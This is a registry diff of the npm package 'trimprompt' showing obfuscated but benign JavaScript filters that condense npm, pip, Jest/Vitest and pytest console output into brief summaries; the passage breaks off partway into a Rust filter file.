trimprompt 1.0.8 → 1.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4faa20=a0_0x4f54;(function(_0x298f02,_0x366f43){const _0x1e7c2c=a0_0x4f54,_0x31c6a1=_0x298f02();while(!![]){try{const _0x4d9a77=-parseInt(_0x1e7c2c(0x106))/0x1+-parseInt(_0x1e7c2c(0x108))/0x2+-parseInt(_0x1e7c2c(0x116))/0x3*(-parseInt(_0x1e7c2c(0x129))/0x4)+-parseInt(_0x1e7c2c(0x104))/0x5*(-parseInt(_0x1e7c2c(0x10d))/0x6)+parseInt(_0x1e7c2c(0x122))/0x7*(-parseInt(_0x1e7c2c(0x124))/0x8)+-parseInt(_0x1e7c2c(0x11c))/0x9*(-parseInt(_0x1e7c2c(0x10b))/0xa)+-parseInt(_0x1e7c2c(0x110))/0xb*(-parseInt(_0x1e7c2c(0x118))/0xc);if(_0x4d9a77===_0x366f43)break;else _0x31c6a1['push'](_0x31c6a1['shift']());}catch(_0x1fa0ce){_0x31c6a1['push'](_0x31c6a1['shift']());}}}(a0_0x1178,0xbde77));function a0_0x4f54(_0x24028c,_0x286667){const _0x11782f=a0_0x1178();return a0_0x4f54=function(_0x4f546d,_0x36424f){_0x4f546d=_0x4f546d-0xff;let _0x4611c8=_0x11782f[_0x4f546d];return _0x4611c8;},a0_0x4f54(_0x24028c,_0x286667);}Object[a0_0x4faa20(0x125)](exports,a0_0x4faa20(0x123),{'value':!![]}),exports[a0_0x4faa20(0x115)]=filterNpmInstall,exports[a0_0x4faa20(0x105)]=filterJestVitest;function filterNpmInstall(_0x5ee3b6){const _0x6e28a6=a0_0x4faa20,_0xef088=_0x5ee3b6[_0x6e28a6(0x113)](/\r/g,'\x0a'),_0x2e7a86=_0xef088[_0x6e28a6(0x11a)]('\x0a'),_0x1bfdbf=[];for(const _0x4d8191 of _0x2e7a86){const _0x5c2b94=_0x4d8191[_0x6e28a6(0x112)]();(_0x5c2b94[_0x6e28a6(0x128)](_0x6e28a6(0x119))||_0x5c2b94[_0x6e28a6(0x128)](_0x6e28a6(0x126))||_0x5c2b94[_0x6e28a6(0x128)](_0x6e28a6(0xff))||_0x5c2b94[_0x6e28a6(0x128)](_0x6e28a6(0x11b))||_0x5c2b94[_0x6e28a6(0x128)](_0x6e28a6(0x102)))&&(!_0x5c2b94[_0x6e28a6(0x128)]('%')&&!_0x5c2b94['startsWith']('⠋')&&!_0x5c2b94['startsWith']('⠙')&&_0x1bfdbf[_0x6e28a6(0x127)](_0x5c2b94));}const _0x1dfa79=_0x1bfdbf[_0x6e28a6(0x120)]('\x0a')[_0x6e28a6(0x112)]();return _0x1dfa79[_0x6e28a6(0x11f)]>0x0?_0x1dfa79:_0x6e28a6(0x10c);}function a0_0x1178(){const _0x450248=['Test\x20Suites:','filterNpmInstall','4585539lBcEUw','\x20passed','452208hSyQES','added\x20','split','up\x20to\x20date','6598071nqwPiJ','\x0aFailures:','\x20failed\x20(','length','join','\x20\x20...\x20(','14PwRYbd','__esModule','5912584yNXkqr','defineProperty','removed\x20','push','includes','4PAjgAa','audited\x20','\x20total)','Tests:','found\x20','Test\x20Runner:\x20','915JukgGy','filterJestVitest','1026534YYGyht','match','1770738SqiWba','PASS','FAIL','20OdbBOG','NPM:\x20Packages\x20verified/installed\x20successfully','162udBtTH','\x20lines\x20of\x20trace\x20details\x20truncated)','startsWith','341YxRxhz','FAIL\x20\x20','trim','replace'];a0_0x1178=function(){return _0x450248;};return a0_0x1178();}function filterJestVitest(_0x59f00e){const _0xe170f9=a0_0x4faa20,_0x332ab3=_0x59f00e['split']('\x0a');let _0x3f17a5=0x0,_0x35f568=0x0,_0xfe71a=0x0;const _0x10635f=[];let _0x2db676=![];for(const _0x4548d2 of _0x332ab3){const _0x4e6589=_0x4548d2[_0xe170f9(0x112)]();if(_0x4e6589['startsWith'](_0xe170f9(0x101))||_0x4e6589[_0xe170f9(0x128)]('Test\x20Files:')){const _0x327c9d=_0x4e6589[_0xe170f9(0x107)](/(\d+)\s+passed/),_0x24cec1=_0x4e6589[_0xe170f9(0x107)](/(\d+)\s+failed/),_0x2fd546=_0x4e6589['match'](/(\d+)\s+total/);if(_0x327c9d)_0x3f17a5=parseInt(_0x327c9d[0x1]);if(_0x24cec1)_0x35f568=parseInt(_0x24cec1[0x1]);if(_0x2fd546)_0xfe71a=parseInt(_0x2fd546[0x1]);continue;}(_0x4e6589[_0xe170f9(0x10f)]('❯')||_0x4e6589[_0xe170f9(0x10f)]('●')||_0x4e6589[_0xe170f9(0x10f)](_0xe170f9(0x111)))&&(_0x2db676=!![]),_0x2db676&&(_0x4e6589[_0xe170f9(0x11f)]>0x0&&!_0x4e6589[_0xe170f9(0x10f)](_0xe170f9(0x114))&&!_0x4e6589[_0xe170f9(0x10f)](_0xe170f9(0x101))&&_0x10635f['push'](_0x4548d2));}if(_0xfe71a===0x0&&_0x3f17a5===0x0&&_0x35f568===0x0){if(_0x59f00e[_0xe170f9(0x128)](_0xe170f9(0x109))&&!_0x59f00e[_0xe170f9(0x128)](_0xe170f9(0x10a))){const _0x234717=_0x59f00e[_0xe170f9(0x107)](/(\d+)\s+passed/),_0x2aa4d7=_0x234717?_0x234717[0x1]:'all';return _0xe170f9(0x103)+_0x2aa4d7+_0xe170f9(0x117);}return _0x59f00e;}if(_0x35f568===0x0&&_0x3f17a5>0x0)return _0xe170f9(0x103)+_0x3f17a5+'\x20passed';const _0x29c902=[_0xe170f9(0x103)+_0x3f17a5+'\x20passed,\x20'+_0x35f568+_0xe170f9(0x11e)+_0xfe71a+_0xe170f9(0x100)];if(_0x10635f['length']>0x0){_0x29c902[_0xe170f9(0x127)](_0xe170f9(0x11d));const _0x58884f=0x19,_0x392dfd=_0x10635f['slice'](0x0,_0x58884f);for(const _0x5279f0 of _0x392dfd){_0x29c902[_0xe170f9(0x127)]('\x20\x20'+_0x5279f0);}_0x10635f[_0xe170f9(0x11f)]>_0x58884f&&_0x29c902[_0xe170f9(0x127)](_0xe170f9(0x121)+(_0x10635f[_0xe170f9(0x11f)]-_0x58884f)+_0xe170f9(0x10e));}return _0x29c902[_0xe170f9(0x120)]('\x0a');}
1
+ 'use strict';const a0_0x410cab=a0_0x299a;function a0_0x17aa(){const _0x22ce6b=['found\x20','startsWith','replace','removed\x20','4806940HqfBrS','includes','230124TgmiAD','filterNpmInstall','split','added\x20','match','all','Test\x20Runner:\x20','940314TaXAsf','\x20passed','trim','\x0aFailures:','push','defineProperty','3377547nSjNNq','PASS','5005695cbqLPW','up\x20to\x20date','filterJestVitest','join','158575AqlDmj','24604192ijVELQ','\x20passed,\x20','\x20\x20...\x20(','__esModule','length','FAIL\x20\x20','7MuJakC','\x20failed\x20(','Tests:'];a0_0x17aa=function(){return _0x22ce6b;};return a0_0x17aa();}function a0_0x299a(_0x57c073,_0x1a0448){_0x57c073=_0x57c073-0x137;const _0x17aaee=a0_0x17aa();let _0x299a2e=_0x17aaee[_0x57c073];return _0x299a2e;}(function(_0x3d881e,_0x5226b7){const _0x5e372a=a0_0x299a,_0xe1550b=_0x3d881e();while(!![]){try{const _0x42b8a5=parseInt(_0x5e372a(0x149))/0x1+parseInt(_0x5e372a(0x159))/0x2+parseInt(_0x5e372a(0x143))/0x3+parseInt(_0x5e372a(0x157))/0x4+parseInt(_0x5e372a(0x145))/0x5+-parseInt(_0x5e372a(0x13d))/0x6*(-parseInt(_0x5e372a(0x150))/0x7)+-parseInt(_0x5e372a(0x14a))/0x8;if(_0x42b8a5===_0x5226b7)break;else _0xe1550b['push'](_0xe1550b['shift']());}catch(_0x3c182e){_0xe1550b['push'](_0xe1550b['shift']());}}}(a0_0x17aa,0xa6e23));Object[a0_0x410cab(0x142)](exports,a0_0x410cab(0x14d),{'value':!![]}),exports[a0_0x410cab(0x137)]=filterNpmInstall,exports[a0_0x410cab(0x147)]=filterJestVitest;function filterNpmInstall(_0xc431ed){const _0x5a2abd=a0_0x410cab,_0x4e34e7=_0xc431ed[_0x5a2abd(0x155)](/\r/g,'\x0a'),_0x27a6ff=_0x4e34e7['split']('\x0a'),_0x30a13e=[];for(const _0x25505f of _0x27a6ff){const _0x4bd99c=_0x25505f[_0x5a2abd(0x13f)]();(_0x4bd99c[_0x5a2abd(0x158)](_0x5a2abd(0x139))||_0x4bd99c[_0x5a2abd(0x158)](_0x5a2abd(0x156))||_0x4bd99c[_0x5a2abd(0x158)]('audited\x20')||_0x4bd99c['includes'](_0x5a2abd(0x146))||_0x4bd99c[_0x5a2abd(0x158)](_0x5a2abd(0x153)))&&(!_0x4bd99c[_0x5a2abd(0x158)]('%')&&!_0x4bd99c[_0x5a2abd(0x154)]('⠋')&&!_0x4bd99c[_0x5a2abd(0x154)]('⠙')&&_0x30a13e['push'](_0x4bd99c));}const _0xbca0c7=_0x30a13e[_0x5a2abd(0x148)]('\x0a')[_0x5a2abd(0x13f)]();return _0xbca0c7[_0x5a2abd(0x14e)]>0x0?_0xbca0c7:'NPM:\x20Packages\x20verified/installed\x20successfully';}function filterJestVitest(_0x1aa070){const _0x2bd6c1=a0_0x410cab,_0x1a04cf=_0x1aa070[_0x2bd6c1(0x138)]('\x0a');let _0x382c69=0x0,_0x2645f2=0x0,_0x12e164=0x0;const _0x13a14f=[];let _0x577098=![];for(const _0x722f3e of _0x1a04cf){const _0x37edd2=_0x722f3e[_0x2bd6c1(0x13f)]();if(_0x37edd2['startsWith'](_0x2bd6c1(0x152))||_0x37edd2['includes']('Test\x20Files:')){const _0x26c1aa=_0x37edd2['match'](/(\d+)\s+passed/),_0x2bacff=_0x37edd2[_0x2bd6c1(0x13a)](/(\d+)\s+failed/),_0x5f04ef=_0x37edd2[_0x2bd6c1(0x13a)](/(\d+)\s+total/);if(_0x26c1aa)_0x382c69=parseInt(_0x26c1aa[0x1]);if(_0x2bacff)_0x2645f2=parseInt(_0x2bacff[0x1]);if(_0x5f04ef)_0x12e164=parseInt(_0x5f04ef[0x1]);continue;}(_0x37edd2[_0x2bd6c1(0x154)]('❯')||_0x37edd2[_0x2bd6c1(0x154)]('●')||_0x37edd2[_0x2bd6c1(0x154)](_0x2bd6c1(0x14f)))&&(_0x577098=!![]),_0x577098&&(_0x37edd2[_0x2bd6c1(0x14e)]>0x0&&!_0x37edd2[_0x2bd6c1(0x154)]('Test\x20Suites:')&&!_0x37edd2[_0x2bd6c1(0x154)](_0x2bd6c1(0x152))&&_0x13a14f[_0x2bd6c1(0x141)](_0x722f3e));}if(_0x12e164===0x0&&_0x382c69===0x0&&_0x2645f2===0x0){if(_0x1aa070['includes'](_0x2bd6c1(0x144))&&!_0x1aa070[_0x2bd6c1(0x158)]('FAIL')){const _0x2b242d=_0x1aa070[_0x2bd6c1(0x13a)](/(\d+)\s+passed/),_0x1e1190=_0x2b242d?_0x2b242d[0x1]:_0x2bd6c1(0x13b);return _0x2bd6c1(0x13c)+_0x1e1190+_0x2bd6c1(0x13e);}return _0x1aa070;}if(_0x2645f2===0x0&&_0x382c69>0x0)return'Test\x20Runner:\x20'+_0x382c69+_0x2bd6c1(0x13e);const _0x4b6c63=[_0x2bd6c1(0x13c)+_0x382c69+_0x2bd6c1(0x14b)+_0x2645f2+_0x2bd6c1(0x151)+_0x12e164+'\x20total)'];if(_0x13a14f[_0x2bd6c1(0x14e)]>0x0){_0x4b6c63[_0x2bd6c1(0x141)](_0x2bd6c1(0x140));const _0x15558e=0x19,_0x44a161=_0x13a14f['slice'](0x0,_0x15558e);for(const _0x1a40e8 of _0x44a161){_0x4b6c63[_0x2bd6c1(0x141)]('\x20\x20'+_0x1a40e8);}_0x13a14f[_0x2bd6c1(0x14e)]>_0x15558e&&_0x4b6c63[_0x2bd6c1(0x141)](_0x2bd6c1(0x14c)+(_0x13a14f[_0x2bd6c1(0x14e)]-_0x15558e)+'\x20lines\x20of\x20trace\x20details\x20truncated)');}return _0x4b6c63['join']('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x4d73(){const _0x251b84=['filterPytest','failed','\x20\x20\x20\x20...\x20(','push','E\x20\x20\x20','.\x20[FAIL]\x20','__esModule','1009348XGGrKo','slice','9502190dflqAO','\x20failed','\x20\x20\x20\x20','\x0aFailures:','filterPipInstall','1000156xMGEZB','Using\x20cached','length','292860cyPePZ','1905642EhtRup','Collecting','\x20xfailed','25BNWmSJ','AssertionError:','510660HDFyYk','join','.py:','Successfully\x20installed','3RseVUr','Pytest:\x20','includes','1169syLREM','split','\x20more\x20failures\x20truncated','1128pClDpC','\x20lines\x20of\x20stacktrace\x20truncated)','===\x20FAILURES\x20===','192gScNIs','Requirement\x20already\x20satisfied','===','407fEyLWj','\x20skipped','startsWith','passed','___','trim','match'];a0_0x4d73=function(){return _0x251b84;};return a0_0x4d73();}const a0_0xf55e34=a0_0x2193;(function(_0x2cb444,_0x5ba2d8){const _0x450a56=a0_0x2193,_0x49be88=_0x2cb444();while(!![]){try{const _0x4b7c1d=parseInt(_0x450a56(0x1bb))/0x1*(parseInt(_0x450a56(0x1d5))/0x2)+parseInt(_0x450a56(0x1b2))/0x3+parseInt(_0x450a56(0x1ae))/0x4*(-parseInt(_0x450a56(0x1b5))/0x5)+-parseInt(_0x450a56(0x1c1))/0x6*(-parseInt(_0x450a56(0x1be))/0x7)+parseInt(_0x450a56(0x1c4))/0x8*(-parseInt(_0x450a56(0x1b1))/0x9)+-parseInt(_0x450a56(0x1d7))/0xa+parseInt(_0x450a56(0x1c7))/0xb*(parseInt(_0x450a56(0x1b7))/0xc);if(_0x4b7c1d===_0x5ba2d8)break;else _0x49be88['push'](_0x49be88['shift']());}catch(_0xe80af6){_0x49be88['push'](_0x49be88['shift']());}}}(a0_0x4d73,0xbcea1));Object['defineProperty'](exports,a0_0xf55e34(0x1d4),{'value':!![]}),exports[a0_0xf55e34(0x1ce)]=filterPytest,exports[a0_0xf55e34(0x1ad)]=filterPipInstall;function a0_0x2193(_0x5345bb,_0x59c1db){const _0x4d735b=a0_0x4d73();return a0_0x2193=function(_0x219331,_0x1e7d84){_0x219331=_0x219331-0x1ac;let _0x3db726=_0x4d735b[_0x219331];return _0x3db726;},a0_0x2193(_0x5345bb,_0x59c1db);}function filterPytest(_0x1a6384){const _0x8314c2=a0_0xf55e34,_0x5c4320=_0x1a6384[_0x8314c2(0x1bf)]('\x0a');let _0x3e4091=0x0,_0x29ff19=0x0,_0x12bccc=0x0,_0x249a7e=0x0,_0x5876fc=0x0;const _0x21dcab=[];let _0x417434=[],_0x2df210=![];for(const _0x541dcc of _0x5c4320){const _0x3c54ae=_0x541dcc[_0x8314c2(0x1cc)]();if(_0x3c54ae[_0x8314c2(0x1c9)](_0x8314c2(0x1c3))||_0x3c54ae['startsWith']('===\x20ERRORS\x20===')){_0x2df210=!![];continue;}else(_0x3c54ae['startsWith']('===\x20short\x20test\x20summary\x20info\x20===')||_0x3c54ae[_0x8314c2(0x1c9)](_0x8314c2(0x1c6))&&_0x3c54ae[_0x8314c2(0x1bd)]('passed'))&&(_0x2df210=![],_0x417434[_0x8314c2(0x1b0)]>0x0&&(_0x21dcab[_0x8314c2(0x1d1)](_0x417434),_0x417434=[]));if(_0x2df210){if(_0x3c54ae['startsWith'](_0x8314c2(0x1cb)))_0x417434[_0x8314c2(0x1b0)]>0x0&&(_0x21dcab['push'](_0x417434),_0x417434=[]),_0x417434[_0x8314c2(0x1d1)](_0x3c54ae);else _0x3c54ae[_0x8314c2(0x1b0)]>0x0&&_0x417434['push'](_0x541dcc);continue;}if(_0x3c54ae['startsWith']('===')&&_0x3c54ae['includes']('\x20in\x20')){const _0x22adce=_0x3c54ae[_0x8314c2(0x1cd)](/(\d+)\s+passed/),_0x48ead3=_0x3c54ae['match'](/(\d+)\s+failed/),_0x1c1aa1=_0x3c54ae[_0x8314c2(0x1cd)](/(\d+)\s+skipped/),_0x58a5d4=_0x3c54ae[_0x8314c2(0x1cd)](/(\d+)\s+xfailed/),_0x45aacf=_0x3c54ae[_0x8314c2(0x1cd)](/(\d+)\s+xpassed/);if(_0x22adce)_0x3e4091=parseInt(_0x22adce[0x1]);if(_0x48ead3)_0x29ff19=parseInt(_0x48ead3[0x1]);if(_0x1c1aa1)_0x12bccc=parseInt(_0x1c1aa1[0x1]);if(_0x58a5d4)_0x249a7e=parseInt(_0x58a5d4[0x1]);if(_0x45aacf)_0x5876fc=parseInt(_0x45aacf[0x1]);}}_0x417434[_0x8314c2(0x1b0)]>0x0&&_0x21dcab[_0x8314c2(0x1d1)](_0x417434);if(_0x3e4091===0x0&&_0x29ff19===0x0&&_0x12bccc===0x0&&_0x249a7e===0x0&&_0x5876fc===0x0){if(_0x1a6384[_0x8314c2(0x1bd)](_0x8314c2(0x1ca))&&!_0x1a6384[_0x8314c2(0x1bd)](_0x8314c2(0x1cf)))return'Pytest:\x20All\x20tests\x20passed';return _0x1a6384;}if(_0x29ff19===0x0&&_0x3e4091>0x0&&_0x12bccc===0x0&&_0x249a7e===0x0&&_0x5876fc===0x0)return _0x8314c2(0x1bc)+_0x3e4091+'\x20passed';const _0x44bbdc=[];_0x44bbdc[_0x8314c2(0x1d1)]('Pytest:\x20'+_0x3e4091+'\x20passed');if(_0x29ff19>0x0)_0x44bbdc[_0x8314c2(0x1d1)](_0x29ff19+_0x8314c2(0x1d8));if(_0x12bccc>0x0)_0x44bbdc[_0x8314c2(0x1d1)](_0x12bccc+_0x8314c2(0x1c8));if(_0x249a7e>0x0)_0x44bbdc['push'](_0x249a7e+_0x8314c2(0x1b4));if(_0x5876fc>0x0)_0x44bbdc['push'](_0x5876fc+'\x20xpassed\x20(warning!)');const _0x1a7534=[_0x44bbdc['join'](',\x20')];if(_0x21dcab[_0x8314c2(0x1b0)]>0x0){_0x1a7534['push'](_0x8314c2(0x1ac));const _0x669534=0x3,_0x5eb1d3=_0x21dcab[_0x8314c2(0x1d6)](0x0,_0x669534);for(let _0x286d00=0x0;_0x286d00<_0x5eb1d3['length'];_0x286d00++){const _0x188628=_0x5eb1d3[_0x286d00],_0x267cca=_0x188628[0x0]['replace'](/_/g,'')[_0x8314c2(0x1cc)]();_0x1a7534[_0x8314c2(0x1d1)]('\x20\x20'+(_0x286d00+0x1)+_0x8314c2(0x1d3)+_0x267cca);const _0x39c898=_0x188628[_0x8314c2(0x1d6)](0x1),_0xe5109=_0x39c898['filter'](_0x1b8705=>{const _0x44a917=_0x8314c2,_0x28816f=_0x1b8705['trim']();return _0x28816f[_0x44a917(0x1c9)]('>')||_0x28816f[_0x44a917(0x1c9)](_0x44a917(0x1d2))||_0x28816f[_0x44a917(0x1bd)](_0x44a917(0x1b9))||_0x28816f[_0x44a917(0x1bd)](_0x44a917(0x1b6));});for(const _0x161dcf of _0xe5109[_0x8314c2(0x1d6)](0x0,0x8)){_0x1a7534[_0x8314c2(0x1d1)](_0x8314c2(0x1d9)+_0x161dcf);}_0xe5109[_0x8314c2(0x1b0)]>0x8&&_0x1a7534['push'](_0x8314c2(0x1d0)+(_0xe5109[_0x8314c2(0x1b0)]-0x8)+_0x8314c2(0x1c2));}_0x21dcab[_0x8314c2(0x1b0)]>_0x669534&&_0x1a7534[_0x8314c2(0x1d1)]('\x20\x20...\x20+'+(_0x21dcab['length']-_0x669534)+_0x8314c2(0x1c0));}return _0x1a7534[_0x8314c2(0x1b8)]('\x0a');}function filterPipInstall(_0xd585d3){const _0x29ae86=a0_0xf55e34,_0x3e4b5b=_0xd585d3[_0x29ae86(0x1bf)]('\x0a'),_0x58c29f=[];for(const _0x41d73c of _0x3e4b5b){const _0xa660cc=_0x41d73c[_0x29ae86(0x1cc)]();_0xa660cc[_0x29ae86(0x1c9)](_0x29ae86(0x1ba))&&_0x58c29f[_0x29ae86(0x1d1)](_0xa660cc);}if(_0x58c29f[_0x29ae86(0x1b0)]>0x0)return _0x58c29f[_0x29ae86(0x1b8)]('\x0a');return _0x3e4b5b['filter'](_0x22d645=>{const _0x42447d=_0x29ae86,_0x24f78d=_0x22d645[_0x42447d(0x1cc)]();return!_0x24f78d[_0x42447d(0x1c9)](_0x42447d(0x1b3))&&!_0x24f78d[_0x42447d(0x1c9)]('Downloading')&&!_0x24f78d[_0x42447d(0x1bd)](_0x42447d(0x1af))&&!_0x24f78d[_0x42447d(0x1c9)](_0x42447d(0x1c5));})[_0x29ae86(0x1b8)]('\x0a')[_0x29ae86(0x1cc)]();}
1
+ 'use strict';const a0_0x158e64=a0_0x286f;function a0_0x286f(_0x4e07ca,_0x4c893a){_0x4e07ca=_0x4e07ca-0x13a;const _0x5423fa=a0_0x5423();let _0x286f6d=_0x5423fa[_0x4e07ca];return _0x286f6d;}(function(_0x2482fd,_0x5cb033){const _0x5973e7=a0_0x286f,_0x162917=_0x2482fd();while(!![]){try{const _0x22192d=-parseInt(_0x5973e7(0x147))/0x1*(parseInt(_0x5973e7(0x161))/0x2)+-parseInt(_0x5973e7(0x14f))/0x3+-parseInt(_0x5973e7(0x154))/0x4*(-parseInt(_0x5973e7(0x13a))/0x5)+-parseInt(_0x5973e7(0x141))/0x6*(-parseInt(_0x5973e7(0x165))/0x7)+parseInt(_0x5973e7(0x13e))/0x8*(-parseInt(_0x5973e7(0x13d))/0x9)+-parseInt(_0x5973e7(0x149))/0xa+parseInt(_0x5973e7(0x156))/0xb;if(_0x22192d===_0x5cb033)break;else _0x162917['push'](_0x162917['shift']());}catch(_0x155dd3){_0x162917['push'](_0x162917['shift']());}}}(a0_0x5423,0x4935e));Object['defineProperty'](exports,a0_0x158e64(0x143),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x158e64(0x14a)]=filterPipInstall;function a0_0x5423(){const _0x35a815=['===\x20short\x20test\x20summary\x20info\x20===','\x20more\x20failures\x20truncated','slice','.\x20[FAIL]\x20','E\x20\x20\x20','replace','\x0aFailures:','\x20xfailed','Downloading','Collecting','412798eSXZJv','Using\x20cached','includes','\x20lines\x20of\x20stacktrace\x20truncated)','80437mDBZRq','filter','===','234755dcMTVz','startsWith','match','18IBsfUY','218704Snviyx','failed','\x20xpassed\x20(warning!)','108CahnUt','Pytest:\x20All\x20tests\x20passed','__esModule','trim','Pytest:\x20','___','1AbRzrT','Successfully\x20installed','4651360oofjiU','filterPipInstall','===\x20ERRORS\x20===','push','join','length','1714662SzUZIu','passed','.py:','\x20\x20\x20\x20','\x20passed','12gdfZtO','\x20\x20...\x20+','13749384lxsIUx'];a0_0x5423=function(){return _0x35a815;};return a0_0x5423();}function filterPytest(_0x53bd89){const _0x24e190=a0_0x158e64,_0x54f048=_0x53bd89['split']('\x0a');let _0x5c51f7=0x0,_0x5267ab=0x0,_0x389d07=0x0,_0x589040=0x0,_0x2e9766=0x0;const _0x29a492=[];let _0x2fb450=[],_0x25c1e9=![];for(const _0x147586 of _0x54f048){const _0x53c05a=_0x147586[_0x24e190(0x144)]();if(_0x53c05a[_0x24e190(0x13b)]('===\x20FAILURES\x20===')||_0x53c05a['startsWith'](_0x24e190(0x14b))){_0x25c1e9=!![];continue;}else(_0x53c05a[_0x24e190(0x13b)](_0x24e190(0x157))||_0x53c05a[_0x24e190(0x13b)](_0x24e190(0x167))&&_0x53c05a[_0x24e190(0x163)](_0x24e190(0x150)))&&(_0x25c1e9=![],_0x2fb450[_0x24e190(0x14e)]>0x0&&(_0x29a492[_0x24e190(0x14c)](_0x2fb450),_0x2fb450=[]));if(_0x25c1e9){if(_0x53c05a['startsWith'](_0x24e190(0x146)))_0x2fb450['length']>0x0&&(_0x29a492[_0x24e190(0x14c)](_0x2fb450),_0x2fb450=[]),_0x2fb450['push'](_0x53c05a);else _0x53c05a[_0x24e190(0x14e)]>0x0&&_0x2fb450['push'](_0x147586);continue;}if(_0x53c05a['startsWith'](_0x24e190(0x167))&&_0x53c05a[_0x24e190(0x163)]('\x20in\x20')){const _0x460e3f=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+passed/),_0x587f5d=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+failed/),_0x5c1ac3=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+skipped/),_0x49245c=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+xfailed/),_0x5285cb=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+xpassed/);if(_0x460e3f)_0x5c51f7=parseInt(_0x460e3f[0x1]);if(_0x587f5d)_0x5267ab=parseInt(_0x587f5d[0x1]);if(_0x5c1ac3)_0x389d07=parseInt(_0x5c1ac3[0x1]);if(_0x49245c)_0x589040=parseInt(_0x49245c[0x1]);if(_0x5285cb)_0x2e9766=parseInt(_0x5285cb[0x1]);}}_0x2fb450[_0x24e190(0x14e)]>0x0&&_0x29a492['push'](_0x2fb450);if(_0x5c51f7===0x0&&_0x5267ab===0x0&&_0x389d07===0x0&&_0x589040===0x0&&_0x2e9766===0x0){if(_0x53bd89[_0x24e190(0x163)](_0x24e190(0x150))&&!_0x53bd89[_0x24e190(0x163)](_0x24e190(0x13f)))return _0x24e190(0x142);return _0x53bd89;}if(_0x5267ab===0x0&&_0x5c51f7>0x0&&_0x389d07===0x0&&_0x589040===0x0&&_0x2e9766===0x0)return'Pytest:\x20'+_0x5c51f7+_0x24e190(0x153);const _0x4f755f=[];_0x4f755f['push'](_0x24e190(0x145)+_0x5c51f7+_0x24e190(0x153));if(_0x5267ab>0x0)_0x4f755f[_0x24e190(0x14c)](_0x5267ab+'\x20failed');if(_0x389d07>0x0)_0x4f755f['push'](_0x389d07+'\x20skipped');if(_0x589040>0x0)_0x4f755f[_0x24e190(0x14c)](_0x589040+_0x24e190(0x15e));if(_0x2e9766>0x0)_0x4f755f[_0x24e190(0x14c)](_0x2e9766+_0x24e190(0x140));const _0x2218ba=[_0x4f755f[_0x24e190(0x14d)](',\x20')];if(_0x29a492[_0x24e190(0x14e)]>0x0){_0x2218ba['push'](_0x24e190(0x15d));const _0x53f017=0x3,_0x2e7834=_0x29a492['slice'](0x0,_0x53f017);for(let _0x266214=0x0;_0x266214<_0x2e7834[_0x24e190(0x14e)];_0x266214++){const _0x566856=_0x2e7834[_0x266214],_0x5d3db8=_0x566856[0x0][_0x24e190(0x15c)](/_/g,'')['trim']();_0x2218ba[_0x24e190(0x14c)]('\x20\x20'+(_0x266214+0x1)+_0x24e190(0x15a)+_0x5d3db8);const _0x37db17=_0x566856[_0x24e190(0x159)](0x1),_0x2cce6c=_0x37db17[_0x24e190(0x166)](_0x505444=>{const _0x1615fe=_0x24e190,_0x2537af=_0x505444[_0x1615fe(0x144)]();return _0x2537af[_0x1615fe(0x13b)]('>')||_0x2537af[_0x1615fe(0x13b)](_0x1615fe(0x15b))||_0x2537af[_0x1615fe(0x163)](_0x1615fe(0x151))||_0x2537af[_0x1615fe(0x163)]('AssertionError:');});for(const _0x193efa of _0x2cce6c['slice'](0x0,0x8)){_0x2218ba['push'](_0x24e190(0x152)+_0x193efa);}_0x2cce6c['length']>0x8&&_0x2218ba[_0x24e190(0x14c)]('\x20\x20\x20\x20...\x20('+(_0x2cce6c[_0x24e190(0x14e)]-0x8)+_0x24e190(0x164));}_0x29a492[_0x24e190(0x14e)]>_0x53f017&&_0x2218ba[_0x24e190(0x14c)](_0x24e190(0x155)+(_0x29a492['length']-_0x53f017)+_0x24e190(0x158));}return _0x2218ba[_0x24e190(0x14d)]('\x0a');}function filterPipInstall(_0x2cfa09){const _0x5b352e=a0_0x158e64,_0x7463fc=_0x2cfa09['split']('\x0a'),_0x3452ef=[];for(const _0x25660e of _0x7463fc){const _0x1b440d=_0x25660e[_0x5b352e(0x144)]();_0x1b440d[_0x5b352e(0x13b)](_0x5b352e(0x148))&&_0x3452ef['push'](_0x1b440d);}if(_0x3452ef[_0x5b352e(0x14e)]>0x0)return _0x3452ef[_0x5b352e(0x14d)]('\x0a');return _0x7463fc[_0x5b352e(0x166)](_0x48e3a8=>{const _0x3af741=_0x5b352e,_0x25e9e7=_0x48e3a8[_0x3af741(0x144)]();return!_0x25e9e7['startsWith'](_0x3af741(0x160))&&!_0x25e9e7[_0x3af741(0x13b)](_0x3af741(0x15f))&&!_0x25e9e7[_0x3af741(0x163)](_0x3af741(0x162))&&!_0x25e9e7[_0x3af741(0x13b)]('Requirement\x20already\x20satisfied');})[_0x5b352e(0x14d)]('\x0a')['trim']();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x13dc(_0x4917b7,_0x1622d0){const _0x2ae693=a0_0x2ae6();return a0_0x13dc=function(_0x13dcfc,_0x617d15){_0x13dcfc=_0x13dcfc-0x1a4;let _0x21d56f=_0x2ae693[_0x13dcfc];return _0x21d56f;},a0_0x13dc(_0x4917b7,_0x1622d0);}const a0_0x4873f9=a0_0x13dc;(function(_0x27785c,_0x5d674a){const _0x58d1ab=a0_0x13dc,_0x455b6b=_0x27785c();while(!![]){try{const _0xe33de6=-parseInt(_0x58d1ab(0x1ba))/0x1+parseInt(_0x58d1ab(0x1cf))/0x2*(parseInt(_0x58d1ab(0x1b3))/0x3)+-parseInt(_0x58d1ab(0x1af))/0x4*(-parseInt(_0x58d1ab(0x1c6))/0x5)+-parseInt(_0x58d1ab(0x1c9))/0x6*(-parseInt(_0x58d1ab(0x1bd))/0x7)+-parseInt(_0x58d1ab(0x1c8))/0x8+parseInt(_0x58d1ab(0x1c1))/0x9*(parseInt(_0x58d1ab(0x1ce))/0xa)+-parseInt(_0x58d1ab(0x1d8))/0xb*(-parseInt(_0x58d1ab(0x1ae))/0xc);if(_0xe33de6===_0x5d674a)break;else 